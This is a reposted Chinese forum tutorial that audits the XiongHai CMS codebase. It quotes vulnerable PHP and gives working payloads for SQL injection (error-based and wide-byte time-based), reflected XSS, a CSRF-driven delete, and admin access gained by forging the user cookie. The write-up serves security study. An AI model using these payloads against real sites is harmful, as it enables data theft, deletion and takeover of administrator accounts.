逝往流年 发表于 2023-2-25 19:22:49

熊海CMS代码审计漏洞分析

前言

熊海CMS是由熊海开发的一款可广泛应用于个人博客,个人网站,企业网站的一套网站综合管理系统。作为一个早期的系统,里面代码存在许多漏洞利用点,且代码量低适合作为代码审计的入门挑战,本文就带领大家对该系统存在的漏洞进行分析。
https://img.jbzj.com/file_images/article/202302/20230224083030014.jpg

基本结构

这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:
——admin   //后台⽂件
——css       //css⽂件
——files    //功能函数⽂件
——images   //图⽚
——index.php //主⽬录⽂件
——install   //安装⽂件
——seacmseditor//编辑器
——template      //模板⽂件
——upload    //⽂件上传⽬录
SQL注入漏洞





第一处

我们跳转到admin/files/editlink.php,分析里面的一段代码:
$id=$_GET['id'];
$type=$_GET['type'];
if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:
r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。


第二处

admin/files/editlink.php这个路径下有一段代码:
$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。
id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23
第三处

/file/download.php这个路径下的代码:
$llink=addslashes($_GET['r']);
$query = "SELECT * FROM nav WHERE link='$llink'";可以看到里面有addslashes函数:
https://img.jbzj.com/file_images/article/202302/20230224083030015.jpg
这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过,具体使用方法可以参考我之前的文章:
https://www.jb51.net/article/276349.htm
参考大佬的payload:
r=%df%27or%20if(1,sleep(3),1)%20%23
XSS漏洞

第一处

在/file/contact.php出存在漏洞代码:
$page=addslashes($_GET['page']);
<?php echo $page?> 可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:
<img src=1 onerror=alert(/xss/)>第二处

在/files/content.php出,存在与第一处差不多的代码:
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}我们也可以向上面一样将语句传进变量里去。
https://img.jbzj.com/file_images/article/202302/20230224083030016.jpg

CSRF漏洞

第一处

这里以/admin/files/wzlist.php为例:
$delete=$_GET['delete'];
if ($delete<>""){
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:
https://img.jbzj.com/file_images/article/202302/20230224083030017.jpg
我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:
?r=wzlist&delete=18之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。
https://img.jbzj.com/file_images/article/202302/20230224083030018.jpg
当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

垂直越权

第一处

在/inc/checklogin.php中,这里只看存在漏洞的代码:
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;   这里直接给user的cookie值设置成admin,即可跳转管理员界面。

结语

今天给大家带来的是一个小型CMS的代码审计,当然该系统的漏洞远不止文中提到的这些,总的来说还是挺简单的,有兴趣的小伙伴可以自己下载源码去搭建系统
以上就是熊海CMS代码审计漏洞分析的详细内容,更多关于熊海CMS代码审计的资料请关注脚本之家其它相关文章!

来源:https://www.jb51.net/article/276342.htm
免责声明:由于采集信息均来自互联网,如果侵犯了您的权益,请联系我们【E-Mail:cb@itdo.tech】 我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 熊海CMS代码审计漏洞分析